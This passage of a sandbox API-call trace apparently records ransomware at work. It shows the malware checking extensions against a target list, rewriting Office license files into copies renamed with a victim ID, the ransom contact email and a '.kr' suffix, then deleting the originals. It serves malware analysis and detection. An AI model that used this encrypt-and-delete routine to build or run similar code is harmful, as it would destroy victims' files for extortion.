lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x116, lpOverlapped=0x0) returned 1 [0209.868] SetEndOfFile (hFile=0x3f8) returned 1 [0209.868] CloseHandle (hObject=0x3f8) returned 1 [0209.868] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0209.869] SetEndOfFile (hFile=0x53c) returned 1 [0209.871] CloseHandle (hObject=0x53c) returned 1 [0209.871] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0209.872] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-ul-oob.xrm-ms")) returned 1 [0209.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ul-oob.xrm-ms") returned 83 [0209.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ul-oob.xrm-ms") returned 83 [0209.873] lstrlenW (lpString=".doc") returned 4 [0209.873] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0209.873] lstrlenW (lpString=".docx") returned 5 [0209.873] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0209.873] lstrlenW (lpString=".pdf") returned 4 [0209.873] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0209.873] lstrlenW (lpString=".xls") returned 4 [0209.873] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0209.873] lstrlenW (lpString=".xlsx") returned 5 [0209.873] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0209.873] lstrlenW (lpString=".ppt") returned 4 [0209.873] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0209.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ul-oob.xrm-ms") returned 83 [0209.873] lstrlenW (lpString=".zip") returned 4 [0209.873] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0209.873] lstrlenW (lpString=".rar") returned 4 [0209.873] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0209.873] lstrlenW (lpString=".bz2") returned 4 [0209.873] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0209.873] lstrlenW (lpString=".7z") returned 3 [0209.873] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0209.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ul-oob.xrm-ms") returned 83 [0209.873] lstrlenW (lpString=".dbf") returned 4 [0209.873] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0209.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ul-oob.xrm-ms") returned 83 [0209.873] lstrlenW (lpString=".1cd") returned 4 [0209.873] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0209.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ul-oob.xrm-ms") returned 83 [0209.873] lstrlenW (lpString=".jpg") returned 4 [0209.874] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0209.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ul-oob.xrm-ms") returned 83 [0209.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ul-oob.xrm-ms") returned 83 [0209.874] lstrlenW (lpString=".doc") returned 4 [0209.874] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0209.874] lstrlenW (lpString=".docx") returned 5 [0209.874] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0209.874] lstrlenW (lpString=".pdf") returned 4 [0209.874] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0209.874] lstrlenW (lpString=".xls") returned 4 [0209.874] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0209.874] lstrlenW (lpString=".xlsx") returned 5 [0209.874] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0209.874] lstrlenW (lpString=".ppt") returned 4 [0209.874] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0209.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ul-oob.xrm-ms") returned 83 [0209.874] lstrlenW (lpString=".zip") returned 4 [0209.874] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0209.874] lstrlenW (lpString=".rar") returned 4 [0209.874] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0209.874] lstrlenW (lpString=".bz2") returned 4 [0209.874] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0209.874] lstrlenW (lpString=".7z") returned 3 [0209.874] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0209.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ul-oob.xrm-ms") returned 83 [0209.874] lstrlenW (lpString=".dbf") returned 4 [0209.874] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0209.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ul-oob.xrm-ms") returned 83 [0209.874] lstrlenW (lpString=".1cd") returned 4 [0209.874] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0209.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ul-oob.xrm-ms") returned 83 [0209.874] lstrlenW (lpString=".jpg") returned 4 [0209.874] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0209.875] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0209.875] lstrlenW (lpString="OneNoteR_Retail-ppd.xrm-ms") returned 26 [0209.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0209.876] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=20902) returned 1 [0209.876] CloseHandle (hObject=0x53c) returned 1 [0209.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ppd.xrm-ms")) returned 0x220 [0209.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0209.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0209.877] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0209.877] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0209.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0209.878] GetLastError () returned 0x0 [0209.878] ReadFile (in: hFile=0x53c, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x51a6, lpOverlapped=0x0) returned 1 [0209.880] WriteFile (in: hFile=0x3f8, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x51b0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x51b0, lpOverlapped=0x0) returned 1 [0209.881] ReadFile (in: hFile=0x53c, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0209.881] WriteFile (in: hFile=0x3f8, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x108, lpOverlapped=0x0) returned 1 [0209.882] SetEndOfFile (hFile=0x3f8) returned 1 [0209.882] CloseHandle (hObject=0x3f8) returned 1 [0209.882] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0209.882] SetEndOfFile (hFile=0x53c) returned 1 [0209.885] CloseHandle (hObject=0x53c) returned 1 [0209.886] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0209.886] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ppd.xrm-ms")) returned 1 [0209.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ppd.xrm-ms") returned 76 [0209.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ppd.xrm-ms") returned 76 [0209.887] lstrlenW (lpString=".doc") returned 4 [0209.887] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0209.887] lstrlenW (lpString=".docx") returned 5 [0209.887] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0209.887] lstrlenW (lpString=".pdf") returned 4 [0209.887] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0209.887] lstrlenW (lpString=".xls") returned 4 [0209.887] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0209.887] lstrlenW (lpString=".xlsx") returned 5 [0209.887] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0209.887] lstrlenW (lpString=".ppt") returned 4 [0209.887] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0209.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ppd.xrm-ms") returned 76 [0209.887] lstrlenW (lpString=".zip") returned 4 [0209.887] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0209.887] lstrlenW (lpString=".rar") returned 4 [0209.887] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0209.887] lstrlenW (lpString=".bz2") returned 4 [0209.887] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0209.887] lstrlenW (lpString=".7z") returned 3 [0209.888] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0209.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ppd.xrm-ms") returned 76 [0209.888] lstrlenW (lpString=".dbf") returned 4 [0209.888] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0209.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ppd.xrm-ms") returned 76 [0209.888] lstrlenW (lpString=".1cd") returned 4 [0209.888] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0209.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ppd.xrm-ms") returned 76 [0209.888] lstrlenW (lpString=".jpg") returned 4 [0209.888] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0209.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ppd.xrm-ms") returned 76 [0209.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ppd.xrm-ms") returned 76 [0209.888] lstrlenW (lpString=".doc") returned 4 [0209.888] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0209.888] lstrlenW (lpString=".docx") returned 5 [0209.888] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0209.888] lstrlenW (lpString=".pdf") returned 4 [0209.888] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0209.888] lstrlenW (lpString=".xls") returned 4 [0209.888] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0209.888] lstrlenW (lpString=".xlsx") returned 5 [0209.888] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0209.888] lstrlenW (lpString=".ppt") returned 4 [0209.888] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0209.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ppd.xrm-ms") returned 76 [0209.888] lstrlenW (lpString=".zip") returned 4 [0209.888] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0209.888] lstrlenW (lpString=".rar") returned 4 [0209.888] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0209.888] lstrlenW (lpString=".bz2") returned 4 [0209.888] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0209.888] lstrlenW (lpString=".7z") returned 3 [0209.889] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0209.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ppd.xrm-ms") returned 76 [0209.889] lstrlenW (lpString=".dbf") returned 4 [0209.889] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0209.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ppd.xrm-ms") returned 76 [0209.889] lstrlenW (lpString=".1cd") returned 4 [0209.889] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0209.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ppd.xrm-ms") returned 76 [0209.889] lstrlenW (lpString=".jpg") returned 4 [0209.889] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0209.889] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0209.889] lstrlenW (lpString="OneNoteR_Retail-ul-oob.xrm-ms") returned 29 [0209.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0209.890] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11584) returned 1 [0209.890] CloseHandle (hObject=0x53c) returned 1 [0209.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ul-oob.xrm-ms")) returned 0x220 [0209.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0209.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0209.890] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0209.891] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0209.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0209.892] GetLastError () returned 0x0 [0209.892] ReadFile (in: hFile=0x53c, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2d40, lpOverlapped=0x0) returned 1 [0209.894] WriteFile (in: hFile=0x3f8, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2d50, lpOverlapped=0x0) returned 1 [0209.895] ReadFile (in: hFile=0x53c, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0209.895] WriteFile (in: hFile=0x3f8, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x10e, lpOverlapped=0x0) returned 1 [0209.895] SetEndOfFile (hFile=0x3f8) returned 1 [0209.895] CloseHandle (hObject=0x3f8) returned 1 [0209.895] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0209.895] SetEndOfFile (hFile=0x53c) returned 1 [0209.898] CloseHandle (hObject=0x53c) returned 1 [0209.898] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0209.898] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ul-oob.xrm-ms")) returned 1 [0209.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-oob.xrm-ms") returned 79 [0209.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-oob.xrm-ms") returned 79 [0209.899] lstrlenW (lpString=".doc") returned 4 [0209.899] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0209.899] lstrlenW (lpString=".docx") returned 5 [0209.899] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0209.899] lstrlenW (lpString=".pdf") returned 4 [0209.899] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0209.899] lstrlenW (lpString=".xls") returned 4 [0209.899] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0209.899] lstrlenW (lpString=".xlsx") returned 5 [0209.899] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0209.899] lstrlenW (lpString=".ppt") returned 4 [0209.899] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0209.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-oob.xrm-ms") returned 79 [0209.899] lstrlenW (lpString=".zip") returned 4 [0209.899] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0209.899] lstrlenW (lpString=".rar") returned 4 [0209.900] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0209.900] lstrlenW (lpString=".bz2") returned 4 [0209.900] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0209.900] lstrlenW (lpString=".7z") returned 3 [0209.900] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0209.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-oob.xrm-ms") returned 79 [0209.900] lstrlenW (lpString=".dbf") returned 4 [0209.900] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0209.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-oob.xrm-ms") returned 79 [0209.900] lstrlenW (lpString=".1cd") returned 4 [0209.900] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0209.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-oob.xrm-ms") returned 79 [0209.900] lstrlenW (lpString=".jpg") returned 4 [0209.900] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0209.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-oob.xrm-ms") returned 79 [0209.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-oob.xrm-ms") returned 79 [0209.900] lstrlenW (lpString=".doc") returned 4 [0209.900] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0209.900] lstrlenW (lpString=".docx") returned 5 [0209.900] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0209.900] lstrlenW (lpString=".pdf") returned 4 [0209.900] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0209.900] lstrlenW (lpString=".xls") returned 4 [0209.900] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0209.900] lstrlenW (lpString=".xlsx") returned 5 [0209.900] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0209.900] lstrlenW (lpString=".ppt") returned 4 [0209.900] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0209.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-oob.xrm-ms") returned 79 [0209.900] lstrlenW (lpString=".zip") returned 4 [0209.900] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0209.900] lstrlenW (lpString=".rar") returned 4 [0209.900] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0209.900] lstrlenW (lpString=".bz2") returned 4 [0209.901] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0209.901] lstrlenW (lpString=".7z") returned 3 [0209.901] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0209.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-oob.xrm-ms") returned 79 [0209.901] lstrlenW (lpString=".dbf") returned 4 [0209.901] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0209.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-oob.xrm-ms") returned 79 [0209.901] lstrlenW (lpString=".1cd") returned 4 [0209.901] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0209.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-oob.xrm-ms") returned 79 [0209.901] lstrlenW (lpString=".jpg") returned 4 [0209.901] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0209.901] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0209.901] lstrlenW (lpString="OneNoteR_Retail-ul-phn.xrm-ms") returned 29 [0209.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0209.902] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=19929) returned 1 [0209.902] CloseHandle (hObject=0x53c) returned 1 [0209.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ul-phn.xrm-ms")) returned 0x220 [0209.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0209.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0209.902] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0209.902] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0209.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Retail-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_retail-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0209.903] GetLastError () returned 0x0 [0209.903] ReadFile (in: hFile=0x53c, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x4dd9, lpOverlapped=0x0) returned 1 [0210.157] WriteFile (in: hFile=0x3f8, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x4de0, 